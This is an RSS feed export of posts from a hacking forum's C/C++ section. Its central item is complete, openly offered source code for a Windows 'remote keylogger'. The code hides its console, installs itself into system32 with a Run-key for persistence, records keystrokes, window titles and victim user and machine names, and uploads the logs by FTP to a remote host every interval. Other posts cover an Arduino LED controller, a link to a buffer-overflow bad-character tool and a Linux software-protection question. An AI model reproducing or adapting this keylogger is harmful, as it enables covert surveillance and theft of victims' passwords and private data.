<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom">
	<channel>
      <title>C/C++ - iExploit</title>
      <link>http://iexploit.org/index.php?p=/categories/cc-/feed.rss</link>
      <pubDate>Sat, 18 May 13 15:40:28 -0400</pubDate>
         <description>C/C++ - iExploit</description>
   <language>en-CA</language>
   <atom:link href="/index.php?p=/discussions/feed.rss" rel="self" type="application/rss+xml" />
   <item>
      <title>On the fly tool</title>
      <link>http://iexploit.org/index.php?p=/discussion/6202/on-the-fly-tool</link>
      <pubDate>Sun, 07 Oct 2012 19:36:39 -0400</pubDate>
      <dc:creator>flawless</dc:creator>
      <guid isPermaLink="false">6202@/index.php?p=/discussions</guid>
      <description><![CDATA[Something to i just thought i shud share, this lil tool helps when you researching buffer overflows <br>and when you hit&nbsp; bad-chars, just compile this and run it while generate chars for you. then you start the process of elimination.<br><br>link to pastebin code :::::: <a href="http://pastebin.com/0FsEaXdd" target="_blank" rel="nofollow">http://pastebin.com/0FsEaXdd</a> &nbsp; <br>]]></description>
   </item>
   <item>
      <title>Dark Generation Remote Keylogger</title>
      <link>http://iexploit.org/index.php?p=/discussion/5809/dark-generation-remote-keylogger</link>
      <pubDate>Fri, 02 Sep 2011 15:48:04 -0400</pubDate>
      <dc:creator>G0ld3n dr4g0n</dc:creator>
      <guid isPermaLink="false">5809@/index.php?p=/discussions</guid>
      <description><![CDATA[This is my C++ remote keylogger. :D<br>To compile with Dev C + + add the library libwininet.a before compiling.<br><div class="PreContainer"><pre>/*<br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23DakrGeneration&amp;Mode=like">#DakrGeneration</a> Remote Keylogger<br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23Written&amp;Mode=like">#Written</a> By G0ld3n dr4g0n<br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23Keylogger&amp;Mode=like">#Keylogger</a> in c++ con upload del file di log (denominato darkgen&amp;#46;txt e presente nella cartella system32 insieme al keylogger SysGen&amp;#46;exe)<br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23via&amp;Mode=like">#via</a> ftp, ad intervalli di 30 minuti<br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23Per&amp;Mode=like">#Per</a> compilare con Dev C++ aggiungere la libreria libwininet&amp;#46;a prima della compilazione<br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23Copyleft&amp;Mode=like">#Copyleft</a> 2010<br>#PerchÃ¨ ci siamo rotti di questa cazzutissima copyright ;)<br>*/<br><br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23include&amp;Mode=like">#include</a> &amp;lt;windows&amp;#46;h&amp;gt;<br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23include&amp;Mode=like">#include</a> &amp;lt;wininet&amp;#46;h&amp;gt;<br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23include&amp;Mode=like">#include</a> &amp;lt;winuser&amp;#46;h&amp;gt;<br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23include&amp;Mode=like">#include</a> &amp;lt;fstream&amp;gt;<br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23include&amp;Mode=like">#include</a> &amp;lt;ctime&amp;gt;<br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23include&amp;Mode=like">#include</a> &amp;lt;iostream&amp;gt;<br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23include&amp;Mode=like">#include</a> &amp;lt;conio&amp;#46;h&amp;gt;<br>//#include &amp;lt;libwininet&amp;#46;a&amp;gt;<br><br>// Modifica Con le tue credenziali di accesso<br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23define&amp;Mode=like">#define</a> HOST             \&quot;www&amp;#46;sito&amp;#46;it\&quot;<br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23define&amp;Mode=like">#define</a> USER             \&quot;user\&quot;<br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23define&amp;Mode=like">#define</a> PASS             \&quot;password\&quot;<br><br><br><br><br>using namespace std;<br><br>char Dest_log&amp;#91;255&amp;#93;= {0};<br><br>int sistema_infettato(char *prog_name);<br>int write_log(char c);<br>int write_log(char *s, bool timed = false);<br>void NomeLogRemoto (char *str);<br>void open_log (void);<br>void logNomeFinestra (void);<br>bool Shifted(void);<br><br>DWORD WINAPI ftp_upload(LPVOID lpParam) {<br>      char LogR&amp;#91;255&amp;#93;= {0};<br>         HINTERNET hCon, sFtp;<br>         <br>         while(true) {<br>                      hCon = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);<br>                     <br>                      if (hCon == NULL) {<br>                                      write_log(\&quot;\n!!! Errore connessione !!!\&quot;,true);<br>                                      Sleep(1000 * 60 * 30);<br>                                      continue;<br>                                      }<br>                                      sFtp = InternetConnect(hCon, HOST, INTERNET_DEFAULT_FTP_PORT, USER, PASS, INTERNET_SERVICE_FTP, 0, 0);<br>                                     <br>                                      if (sFtp == NULL) {<br>                                               write_log(\&quot;\n!!! Errore connessione FTP !!!\&quot;,true);<br>                                               Sleep(1000 * 60 * 30);<br>                                               continue;<br>                                               }<br>                                               NomeLogRemoto(LogR);<br>                                               <br>                                               if (!FtpPutFile(sFtp, Dest_log, LogR, INTERNET_FLAG_TRANSFER_BINARY, 0)) {<br>                                                                write_log(\&quot;\n!!! Errore Upload Log !!!\&quot;,true);<br>                                                                InternetCloseHandle(hCon);<br>                                                                InternetCloseHandle(sFtp);<br>                                                                Sleep(1000 * 60 * 30);<br>                                                                continue;<br>                                                                } else {<br>                                                               <br>                                                                DeleteFile(Dest_log);<br>                                                                open_log();<br>                                                                }<br>                                                               <br>                                                                InternetCloseHandle(hCon);<br>                                                                InternetCloseHandle(sFtp);<br>                                                                Sleep (1000 * 60 * 60);<br>                                      }<br>                      }<br>                     <br><br>int main(int argc, char *argv&amp;#91;&amp;#93;) {<br>    bool shift;<br>    char NomeTasto&amp;#91;25&amp;#93;;<br>        HANDLE hThread;<br>       <br>        if(!GetSystemDirectory(Dest_log, 255)) {<br>                                         write_log(\&quot;!!! Errore nell'ottenere il percorso di system32 !!!\&quot;, true);<br>                                         sprintf (Dest_log, \&quot;C&amp;#58;\\WINDOWS\\system32\\darkgen&amp;#46;txt\&quot;);<br>                                         } else<br>        strcat (Dest_log, \&quot;\\darkgen&amp;#46;txt\&quot;);<br>       <br>        open_log();<br>        sistema_infettato(argv&amp;#91;0&amp;#93;);<br>       <br>        hThread = CreateThread(NULL, 0, ftp_upload, NULL, 0, (DWORD*) 0);<br>       <br>        if (hThread == NULL) {<br>                   write_log(\&quot;\n!!! Errore Creazione Thread !!!\&quot;, true);<br>                   }<br>                                     <br>                   while (true) {<br>                         while(!kbhit());<br>                         <br>                         for (int i=8; i&amp;lt;=256; i++) {<br>                             if(GetAsyncKeyState(VK_SHIFT))  {                  // Se Shift Ã¨ Premuto<br>                                                             <br>                                for(int i=65; i&amp;lt;=90; i++)   // ATTENZIONE SE E' attivo VK_CAPITAL i caratteri devono essere minuscoli&amp;#46;<br>                                        if(GetAsyncKeyState(i)== -32767) write_log(i);<br>                                                             <br>                        for(int i= 48; i&amp;lt;= 57; i++)                  // caratteri =!\&quot;Â£$%&amp;/()<br>                                        if(GetAsyncKeyState(i) == -32767) {<br>                                                               if(i==48) write_log(61);<br>                                                               else if(i==51) write_log(163);<br>                                                               else if(i==55) write_log(47);<br>                                                               else write_log(i-16);<br>                                        }<br>                           <br>                                                                             <br>                        if( GetAsyncKeyState(220) == -32767) write_log(\&quot;|\&quot;);<br>                        if( GetAsyncKeyState(188) == -32767) write_log(\&quot;;\&quot;);<br>                        if( GetAsyncKeyState(190) == -32767) write_log(\&quot;&amp;#58;\&quot;);<br>                        if( GetAsyncKeyState(189) == -32767) write_log(\&quot;_\&quot;);<br>                        if( GetAsyncKeyState(186) == -32767) write_log(\&quot;Ã©\&quot;);<br>                        if( GetAsyncKeyState(187) == -32767) write_log(\&quot;*\&quot;);<br>                        if( GetAsyncKeyState(192) == -32767) write_log(\&quot;Ã§\&quot;);<br>                        if( GetAsyncKeyState(222) == -32767) write_log(\&quot;Â°\&quot;);<br>                        if( GetAsyncKeyState(191) == -32767) write_log(\&quot;Â§\&quot;);<br>                        if( GetAsyncKeyState(219) == -32767) write_log(\&quot;?\&quot;);<br>                        if( GetAsyncKeyState(221) == -32767) write_log(\&quot;^\&quot;);<br>                        if( GetAsyncKeyState(226) == -32767) write_log(\&quot;&amp;gt;\&quot;);<br>                        if( GetAsyncKeyState(VK_SPACE) == -32767) write_log(\&quot; \&quot;);<br>                        if( GetAsyncKeyState(VK_BACK) == -32767) write_log(\&quot;&amp;#91;DEL&amp;#93;\&quot;);<br>                                                                               <br>         }<br>         else {             //Se Shift non Ã¨ premuto<br>                                                                                     <br>            if(GetAsyncKeyState(i) &amp; 0x7FFF) {<br>                                                                                                           <br>                                logNomeFinestra ();<br>                                shift = Shifted();<br>                                                                                                           <br>                                if(i &amp;gt; 47 &amp;&amp; i &amp;lt; 91) {<br>               if(shift == false) write_log(tolower(i));<br>               else write_log((char) i);<br>            }<br>            else {<br>                                                                                                                       <br>                                                       switch (i) {<br>                                                              case VK_RETURN&amp;#58;<br>                                                                   write_log(\&quot;\n&amp;#91;INVIO&amp;#93;\n\&quot;);<br>                                                                   break;<br>                                                                   <br>                                                              case VK_SPACE&amp;#58;<br>                                                                   write_log(\&quot; \&quot;);<br>                                                                   break;<br>                                                                   <br>                                                              case VK_BACK&amp;#58;<br>                                                                   write_log(\&quot; &amp;#91;DEL&amp;#93; \&quot;);<br>                                                                   break;<br>                                                                   <br>                                                              case VK_DELETE&amp;#58;<br>                                                                   write_log(\&quot; &amp;#91;CANC&amp;#93; \&quot;);                                                         <br>                                                                   break;<br>                                                                   <br>                                                              case VK_UP&amp;#58;<br>                                                                   write_log(\&quot;\n&amp;#91;FRECCIA SU&amp;#93;\n\&quot;);<br>                                                                   break;<br>                                                                   <br>                                                              case VK_DOWN&amp;#58;<br>                                                                   write_log(\&quot;\n&amp;#91;FRECCIA GIU'&amp;#93;\n\&quot;);<br>                                                                   break;<br>                                                                   <br>                                                              case VK_LEFT&amp;#58;<br>                                                                   write_log(\&quot;\n&amp;#91;FRECCIA SINISTRA&amp;#93;\n\&quot;);<br>                                                                   break;<br>                                                                   <br>                                                              case VK_RIGHT&amp;#58;<br>                                                                   write_log(\&quot;\n&amp;#91;FRECCIA DESTRA&amp;#93;\n\&quot;);<br>                                                                   break;<br>                                                                   <br>                                                              case VK_MULTIPLY&amp;#58;<br>                                                                   write_log(\&quot;*\&quot;);<br>                                                                   break;<br>                                                                   <br>                                                              case VK_DIVIDE&amp;#58;<br>                                                                   write_log(\&quot;/\&quot;);<br>                                                                   break<br>                                                                   <br>                                                              case VK_SUBTRACT&amp;#58;<br>                                                                   write_log(\&quot;-\&quot;);<br>                                                                   break;<br>                                                                   <br>                                                              case VK_ADD&amp;#58;<br>                                                                   write_log(\&quot;+\&quot;);<br>                                                                   break;<br>                                                                   <br>                                                              case VK_NUMLOCK&amp;#58;<br>                                                                   write_log(\&quot;\n&amp;#91;NUM LOCK&amp;#93;\n\&quot;)<br>                                                                   break;<br>                                                                   <br>                                                              case VK_CAPITAL&amp;#58;<br>                                                                   write_log(\&quot;\n&amp;#91;CAPS LOCK&amp;#93;\n\&quot;);<br>                                                                   break;<br>                                                                   <br>                                                              case VK_SCROLL&amp;#58;<br>                                                                   write_log(\&quot;\n&amp;#91;SCROLL LOCK&amp;#93;\n\&quot;)<br>                                                                   break;<br>                                                                   <br>                                                              case VK_SHIFT&amp;#58;<br>                                                                   write_log(\&quot;\&quot;);                                   <br>                                                                       break;<br>                                                               <br>                                                              case VK_LSHIFT&amp;#58;<br>                                                                   write_log(\&quot;\&quot;);<br>                                                                   break;<br>                                                                   <br>                                                              case VK_RSHIFT&amp;#58;<br>                                                                   write_log(\&quot;\&quot;);<br>                                                                   break;<br>                                                                   <br>                                                              case VK_INSERT&amp;#58;<br>                                                                   write_log(\&quot; &amp;#91;INSERT&amp;#93; \&quot;);<br>                                                                   break;<br>                                                                   <br>                                                              case VK_PAUSE&amp;#58;<br>                                                                   write_log(\&quot;\n&amp;#91;PAUSE&amp;#93;\n\&quot;);<br>                                                                   break;<br>                                                                   <br>                                                              case VK_CONTROL&amp;#58;<br>                                                                   write_log(\&quot;\&quot;);<br>                                                                   break;<br>                                                                   <br>                                                              case VK_MENU&amp;#58;<br>                                                                   write_log(\&quot;\&quot;);<br>                                                                   break;<br>                                                                   <br>                                                              case VK_LMENU&amp;#58;<br>                                                                   write_log(\&quot;\n&amp;#91;LEFT ALT&amp;#93;\n\&quot;);<br>                                                                   break;<br>                                                                   <br>                                                              case VK_RMENU&amp;#58;<br>                                                                   write_log(\&quot;\n&amp;#91;ALT GR&amp;#93;\n\&quot;);<br>                                                                   break;<br>                                                                   <br>                                                              case VK_ESCAPE&amp;#58;<br>                                                                   write_log(\&quot;\n&amp;#91;ESC&amp;#93;\n\&quot;);<br>                                                                   break;<br>                                                                   <br>                                                              case VK_SNAPSHOT&amp;#58;                                                                   <br>                                                                   write_log(\&quot;\n&amp;#91;STAMP&amp;#93;\n\&quot;);<br>                                                                   break;<br>                                                                                                                                     <br>                                                              case VK_TAB&amp;#58;<br>                                                                   write_log(\&quot;\n&amp;#91;TAB&amp;#93;\n\&quot;);<br>                                                                   break;<br>                                                                   <br>                                                              case VK_FINAL&amp;#58;<br>                                                                   write_log(\&quot;\n&amp;#91;FIN&amp;#93;\n\&quot;);<br>                                                                   break;<br>                                                                   <br>                                                              case VK_NEXT&amp;#58;<br>                                                                   write_log(\&quot;\n&amp;#91;PAGINA DOPO&amp;#93;\n\&quot;);<br>                                                                   break;<br>                                                                   <br>                                                              case VK_PRIOR&amp;#58;<br>                                                                   write_log(\&quot;\n&amp;#91;PAGINA PRIMA&amp;#93;\n\&quot;);<br>                                                                   break;<br>                                                                   <br>                                                              case VK_HELP&amp;#58;<br>                                                                   write_log(\&quot;\n&amp;#91;HELP&amp;#93;\n\&quot;);<br>                                                                   break;<br>                                                                   <br>                                                              case VK_NUMPAD0&amp;#58;<br>                                                                   write_log(\&quot;0\&quot;);<br>                                                                   break;<br>                                                                   <br>                                                              case VK_NUMPAD1&amp;#58;<br>                                                                   write_log(\&quot;1\&quot;);<br>                                                                   break;<br>                                                                   <br>                                                              case VK_NUMPAD2&amp;#58;<br>                                                                   write_log(\&quot;2\&quot;);<br>                                                                   break;<br>                                                                   <br>                                                              case VK_NUMPAD3&amp;#58;<br>                                                                   write_log(\&quot;3\&quot;);<br>                                                                   break;<br>                                                                   <br>                                                              case VK_NUMPAD4&amp;#58;<br>                                                                   write_log(\&quot;4\&quot;);<br>                                                                   break;<br>                                                                   <br>                                                              case VK_NUMPAD5&amp;#58;<br>                                                                   write_log(\&quot;5\&quot;);<br>                                                                   break;<br>                                                                   <br>                                                              case VK_NUMPAD6&amp;#58;<br>                                                                   write_log(\&quot;6\&quot;);<br>                                                                   break;<br>                                                             <br>                                                              case VK_NUMPAD7&amp;#58;<br>                                                                   write_log(\&quot;7\&quot;);<br>                                                                   break;<br>                                                                   <br>                                                              case VK_NUMPAD8&amp;#58;<br>                                                                   write_log(\&quot;8\&quot;);<br>                                                                   break;<br>                                                                   <br>                                                              case VK_NUMPAD9&amp;#58;<br>                                                                   write_log(\&quot;9\&quot;);<br>                                                                   break;                                                       <br>                                                                                                                       <br>                                                              default&amp;#58;<br>                                                                        GetKeyNameText(MapVirtualKey(i, 0) &amp;lt;&amp;lt; 16, NomeTasto, 25);<br>                                                                                                                                           <br>                                                                       <br>                                                                        if(strlen(NomeTasto) &amp;lt; 2)  write_log(NomeTasto);<br>                                                                       <br>                                                                        else {<br>                                                                             write_log('&amp;#91;');<br>                                                                             write_log(NomeTasto);<br>                                                                             write_log('&amp;#93;');<br>                                                                             }<br>                                                                       }                                     <br>                                                              }<br>                                                       }<br>                                                }<br>                         }<br>                         }<br>        return 0;<br>    }                                                                                                                                         <br>    void open_log(void)<br>    {<br>         DWORD bSize = 255;<br>         const char titolo&amp;#91;&amp;#93; = \&quot;{}{}{}{} Dark Generation Crew Remote Keylogger {}{}{} \nGreez to&amp;#58; Letal_Axel, Giuseppe69 &amp; MZ \nCopyleft 2010 by G0ld3n dr4g0n \n\&quot;;<br>         char NomeComputer&amp;#91;255&amp;#93;, NomeUtente&amp;#91;255&amp;#93;;<br>         <br>         write_log((char *) titolo);<br>         <br>         GetComputerName(NomeComputer, &amp;bSize);<br>         GetUserName(NomeUtente, &amp;bSize);<br>         <br>         write_log(\&quot;\n{}{}{} Username utente vittima&amp;#58;\t\t\&quot;);<br>         write_log(NomeUtente);<br>         <br>         write_log(\&quot;\n{}{}{} Nome Computer vittima&amp;#58;\t\&quot;);<br>         write_log(NomeComputer);<br>         write_log(\&quot;\n\&quot;);<br>         <br>         write_log(\&quot;\n{}{}{} Ora Inizio&amp;#58;\t\&quot;,true);<br>    }<br>    int sistema_infettato(char *prog_name)<br>    {<br>        HKEY hKey;<br>        HWND hWnd;<br>        char destPath&amp;#91;255&amp;#93;;<br>       <br>        hWnd = FindWindow(\&quot;ConsoleWindowClass\&quot;, NULL);<br>        ShowWindow(hWnd, SW_HIDE);<br>       <br>        if(!GetSystemDirectory(destPath, 255)) {<br>                                         write_log(\&quot;\n!!! Errore nell'ottenere il percorso della cartella System32 !!!\&quot;, true);<br>                                         sprintf(destPath, \&quot;C&amp;#58;\\WINDOWS\\system32\\%s\&quot;, \&quot;SysGen&amp;#46;exe\&quot;);<br>                                         } else {<br>                                                strcat(destPath, \&quot;\\\&quot;);<br>                                                strcat(destPath, \&quot;SysGen&amp;#46;exe\&quot;);<br>                                                }<br>                                               <br>        if(!CopyFile(prog_name, destPath, FALSE) {<br>                                write_log(\&quot;\n!!! Errore nel copiare il file nella cartella System32 !!!\&quot;, true);<br>                                return 1;<br>                                }<br>                               <br>        if(RegOpenKeyEx(HKEY_LOCAL_MACHINE, \&quot;Software\\Microsoft\\Windows\\CurrentVersion\\Run\&quot;, 0, KEY_SET_VALUE, &amp;hKey)<br>        !=  ERROR_SUCCESS)<br>        {<br>            write_log(\n!!! Errore nella creazione della chiave di registro&amp;#58; \&quot;, true);<br>            return 1;<br>         } <br>             <br>         if(RegSetValueEx(hKey, \&quot;SysGen\&quot;, 0, REG_SZ, (const unsigned char*) destPath, strlen(destPath))<br>         !=  ERROR_SUCCESS)<br>         {<br>         <br>            write_log(\&quot;\n&amp;#91;!&amp;#93; Errore nella creazione della chiave di registro&amp;#58; \&quot;, true)<br>            RegCloseKey(hKey);<br>            return 1;<br>          }<br>         <br>         RegCloseKey(hKey);<br>         return 0;<br>    }<br>   <br>    int write_log(char c) {<br>        ofstream logFile(Dest_log, ios&amp;#58;&amp;#58;out | ios&amp;#58;&amp;#58;app);       <br>        if(!logFile&amp;#46;is_open()) {<br>                              return 1;<br>                              }<br>                             <br>                              logFile &amp;lt;&amp;lt; c;                             <br>                               logFile&amp;#46;flush();<br>                               logFile&amp;#46;close();                             <br>                               return 0;<br>                         }<br>       <br>        int write_log(char *s, bool timed) {<br>            time_t cTime;<br>            ofstream logFile(Dest_log, ios&amp;#58;&amp;#58;out | ios&amp;#58;&amp;#58;app);<br>            if(!logFile&amp;#46;is_open()) {<br>                                   return 1;<br>                                   }<br>                                   <br>                                   logFile &amp;lt;&amp;lt; s;<br>                                   if(timed == true) {<br>                                            time ( &amp;cTime );<br>                                            logFile &amp;lt;&amp;lt; ctime( &amp;cTime )<br>                                            }<br>                                           <br>                                   logFile&amp;#46;flush();<br>                                   logFile&amp;#46;close();<br>                                   return 0;<br>                                   }<br>                                   <br>            void logNomeFinestra(void) {<br>                  static HWND hWnd = NULL;<br>                  char NomeFinestra&amp;#91;255&amp;#93; = {0};<br>                 <br>                  if(hWnd != GetForegroundWindow()) {<br>                         <br>                          hWnd = GetForegroundWindow();<br>                          if(GetWindowText(hWnd, NomeFinestra, 255)) {<br>                                                 write_log(\&quot;\n{}{}{} Finestra&amp;#58; \&quot;);<br>                                                 write_log(NomeFinestra);<br>                                                 write_log(\&quot; {}{}{}\n\n\&quot;);<br>                                                 }<br>                                       }<br>                          }<br>                         <br>            void NomeLogRemoto(char *str) {<br>                 DWORD size = 55;<br>                 char cName&amp;#91;55&amp;#93;, cTime&amp;#91;55&amp;#93;;<br>                 <br>                 time_t rawtime;<br>                 struct tm * timeinfo;<br>                 <br>                 time ( &amp;rawtime );<br>                 timeinfo = localtime ( &amp;rawtime );<br>                 <br>                 GetComputerName(cName, &amp;size);<br>                 strftime(cTime, 55, \&quot;%d&amp;#58;%m_%H&amp;#58;%M\&quot;, timeinfo);<br>                 <br>                 sprintf(str, \&quot;%s_%s&amp;#46;log\&quot;, cName, cTime);<br>            }<br>           <br>        bool Shifted(void) {<br>             if((GetKeyState(VK_LSHIFT) | GetKeyState(VK_RSHIFT)) &amp; 0x8000) {                 <br>                                        if(GetKeyState(VK_CAPITAL)) return false;<br>                                        else return true;<br>             }<br>             else {<br>                   if(GetKeyState(VK_CAPITAL)) return true;<br>                   else return false;<br>             }<br>}</pre></div><br><br>G0ld3n dr4g0n]]></description>
   </item>
   <item>
      <title>Arduino [Control LEDs]</title>
      <link>http://iexploit.org/index.php?p=/discussion/5645/arduino-control-leds</link>
      <pubDate>Sun, 07 Aug 2011 17:10:03 -0400</pubDate>
      <dc:creator>Sh3llc0d3</dc:creator>
      <guid isPermaLink="false">5645@/index.php?p=/discussions</guid>
      <description><![CDATA[As the programming for the Arduino is C/C++ based I'll put this here... although beware, this does contain vb.net ;) Anyway this was another random 'mini-project' for the arduino I did.<br><br>The Idea behind this program is to allow a program (in vb.net) to control (via serial port) the LEDs on the arduino breadboard.<br><br>Simple setup - 4 leds, 4 resistors, 5 cables (4 (LED-&gt;Pins) and 1 for the ground)<br><br>Arduino program:<br><div class="PreContainer"><pre>int redPinOne = 12;<br>int redPinTwo = 13;<br>int greenPinTwo = 11;<br>int greenPinOne = 10;<br>int readValue;<br><br>void setup()<br>{<br>  pinMode(redPinOne, OUTPUT);<br>  pinMode(redPinTwo, OUTPUT);<br>  pinMode(greenPinOne, OUTPUT);<br>  pinMode(greenPinTwo, OUTPUT);<br>  Serial&amp;#46;begin(9600);<br>}<br><br>void loop()<br>{<br>  if(Serial&amp;#46;available())<br>  {<br>    readValue = Serial&amp;#46;read();<br>    if(readValue == '1')      // LED ON<br>    {<br>     digitalWrite(greenPinOne, HIGH);<br>    }<br>    if(readValue == '2')      // LED ON<br>    {<br>     digitalWrite(greenPinOne, LOW);<br>    }<br>    if(readValue == '3')      // LED ON<br>    {<br>     digitalWrite(greenPinTwo, HIGH); <br>    }<br>    if(readValue == '4')      // LED ON<br>    {<br>     digitalWrite(greenPinTwo, LOW); <br>    }<br>    if(readValue == '5')      // LED ON<br>    {<br>     digitalWrite(redPinOne, HIGH); <br>    }<br>    if(readValue == '6')      // LED ON<br>    {<br>     digitalWrite(redPinOne, LOW); <br>    }<br>    if(readValue == '7')      // LED ON<br>    {<br>     digitalWrite(redPinTwo, HIGH);<br>    }<br>    if(readValue == '8')      // LED ON<br>    {<br>     digitalWrite(redPinTwo, LOW);<br>    }<br>  }<br>}</pre></div><br><br>Controller (VB.Net):<br><br>[spoiler=screenshots]<br>http&#58;//i&#46;imgur&#46;com/2V0LL&#46;png<br>http&#58;//i&#46;imgur&#46;com/lZJT2&#46;png<br>http&#58;//i&#46;imgur&#46;com/dXvgs&#46;png<br>[/spoiler]<br><br>[spoiler=Video]<br>[align=center][video=youtube]<div class="Video"><object width="640" height="385"><param name="movie" value="http://www.youtube.com/v/qqtETfgdmTU[/video][/align][/spoiler]&amp;hl=en_US&amp;fs=1&amp;"><param name="allowFullScreen" value="true"><param name="allowscriptaccess" value="always"><embed src="http://www.youtube.com/v/qqtETfgdmTU[/video][/align][/spoiler]&amp;hl=en_US&amp;fs=1&amp;" type="application/x-shockwave-flash" width="640" height="385"></object></div><br><br>Your Baud rate and com port may be different. If your not sure check the baud rate you coded and the com port will be visible on the tools menu of the arduino IDE.<br><br><div class="PreContainer"><pre>Imports System&amp;#46;IO&amp;#46;Ports<br><br>Public Class Form1<br><br>    Private Sub Form1_Load(ByVal sender As System&amp;#46;Object, ByVal e As System&amp;#46;EventArgs) Handles MyBase&amp;#46;Load<br>        If SerialPort1&amp;#46;IsOpen() = True Then<br>            SerialPort1&amp;#46;Close()<br>        End If<br><br>        ledGrOne&amp;#46;Text = \&quot;Green LED <a rel="nofollow" href="/index.php?p=/search&amp;Search=%231&amp;Mode=like">#1</a> ON\&quot;<br>        ledGrTwo&amp;#46;Text = \&quot;Green LED <a rel="nofollow" href="/index.php?p=/search&amp;Search=%232&amp;Mode=like">#2</a> ON\&quot;<br>        ledReOne&amp;#46;Text = \&quot;Red LED <a rel="nofollow" href="/index.php?p=/search&amp;Search=%231&amp;Mode=like">#1</a> ON\&quot;<br>        ledReTwo&amp;#46;Text = \&quot;Red LED <a rel="nofollow" href="/index.php?p=/search&amp;Search=%232&amp;Mode=like">#2</a> ON\&quot;<br>    End Sub<br><br>    Private Sub ledGrOne_Click(ByVal sender As System&amp;#46;Object, ByVal e As System&amp;#46;EventArgs) Handles ledGrOne&amp;#46;Click<br>        If ledGrOne&amp;#46;Text = \&quot;Green LED <a rel="nofollow" href="/index.php?p=/search&amp;Search=%231&amp;Mode=like">#1</a> ON\&quot; Then<br>            SerialPort1&amp;#46;Write(\&quot;1\&quot;)<br>            ledGrOne&amp;#46;Text = \&quot;Green LED <a rel="nofollow" href="/index.php?p=/search&amp;Search=%231&amp;Mode=like">#1</a> OFF\&quot;<br>        Else<br>            SerialPort1&amp;#46;Write(\&quot;2\&quot;)<br>            ledGrOne&amp;#46;Text = \&quot;Green LED <a rel="nofollow" href="/index.php?p=/search&amp;Search=%231&amp;Mode=like">#1</a> ON\&quot;<br>        End If<br>    End Sub<br><br>    Private Sub ledGrTwo_Click(ByVal sender As System&amp;#46;Object, ByVal e As System&amp;#46;EventArgs) Handles ledGrTwo&amp;#46;Click<br>        If ledGrTwo&amp;#46;Text = \&quot;Green LED <a rel="nofollow" href="/index.php?p=/search&amp;Search=%232&amp;Mode=like">#2</a> ON\&quot; Then<br>            SerialPort1&amp;#46;Write(\&quot;3\&quot;)<br>            ledGrTwo&amp;#46;Text = \&quot;Green LED <a rel="nofollow" href="/index.php?p=/search&amp;Search=%232&amp;Mode=like">#2</a> OFF\&quot;<br>        Else<br>            SerialPort1&amp;#46;Write(\&quot;4\&quot;)<br>            ledGrTwo&amp;#46;Text = \&quot;Green LED <a rel="nofollow" href="/index.php?p=/search&amp;Search=%232&amp;Mode=like">#2</a> ON\&quot;<br>        End If<br>    End Sub<br><br>    Private Sub ledReOne_Click(ByVal sender As System&amp;#46;Object, ByVal e As System&amp;#46;EventArgs) Handles ledReOne&amp;#46;Click<br>        If ledReOne&amp;#46;Text = \&quot;Red LED <a rel="nofollow" href="/index.php?p=/search&amp;Search=%231&amp;Mode=like">#1</a> ON\&quot; Then<br>            SerialPort1&amp;#46;Write(\&quot;5\&quot;)<br>            ledReOne&amp;#46;Text = \&quot;Red LED <a rel="nofollow" href="/index.php?p=/search&amp;Search=%231&amp;Mode=like">#1</a> OFF\&quot;<br>        Else<br>            SerialPort1&amp;#46;Write(\&quot;6\&quot;)<br>            ledReOne&amp;#46;Text = \&quot;Red LED <a rel="nofollow" href="/index.php?p=/search&amp;Search=%231&amp;Mode=like">#1</a> ON\&quot;<br>        End If<br>    End Sub<br><br>    Private Sub ledReTwo_Click(ByVal sender As System&amp;#46;Object, ByVal e As System&amp;#46;EventArgs) Handles ledReTwo&amp;#46;Click<br>        If ledReTwo&amp;#46;Text = \&quot;Red LED <a rel="nofollow" href="/index.php?p=/search&amp;Search=%232&amp;Mode=like">#2</a> ON\&quot; Then<br>            SerialPort1&amp;#46;Write(\&quot;7\&quot;)<br>            ledReTwo&amp;#46;Text = \&quot;Red LED <a rel="nofollow" href="/index.php?p=/search&amp;Search=%232&amp;Mode=like">#2</a> OFF\&quot;<br>        Else<br>            SerialPort1&amp;#46;Write(\&quot;8\&quot;)<br>            ledReTwo&amp;#46;Text = \&quot;Red LED <a rel="nofollow" href="/index.php?p=/search&amp;Search=%232&amp;Mode=like">#2</a> ON\&quot;<br>        End If<br>    End Sub<br><br>    Private Sub InitSerial_Click(ByVal sender As System&amp;#46;Object, ByVal e As System&amp;#46;EventArgs) Handles InitSerial&amp;#46;Click<br>        SerialPort1&amp;#46;PortName = TextBox2&amp;#46;Text<br>        SerialPort1&amp;#46;BaudRate = Val(TextBox1&amp;#46;Text)<br>        SerialPort1&amp;#46;Open()<br>        InitSerial&amp;#46;Enabled = False<br>    End Sub<br>End Class<br></pre></div>]]></description>
   </item>
   <item>
      <title>Is there any point of serials/logins for apps on linux??</title>
      <link>http://iexploit.org/index.php?p=/discussion/6172/is-there-any-point-of-serialslogins-for-apps-on-linux</link>
      <pubDate>Wed, 12 Sep 2012 08:54:00 -0400</pubDate>
      <dc:creator>Mr. P-teo</dc:creator>
      <guid isPermaLink="false">6172@/index.php?p=/discussions</guid>
      <description><![CDATA[So i was wondering, is there actually any point of people trying to secure linux applications when you can just use DGB and use the command "list" to see the programs source code??]]></description>
   </item>
   <item>
      <title>Got a problem with a crackme app im making, any help?</title>
      <link>http://iexploit.org/index.php?p=/discussion/6138/got-a-problem-with-a-crackme-app-im-making-any-help</link>
      <pubDate>Sat, 01 Sep 2012 13:59:30 -0400</pubDate>
      <dc:creator>Mr. P-teo</dc:creator>
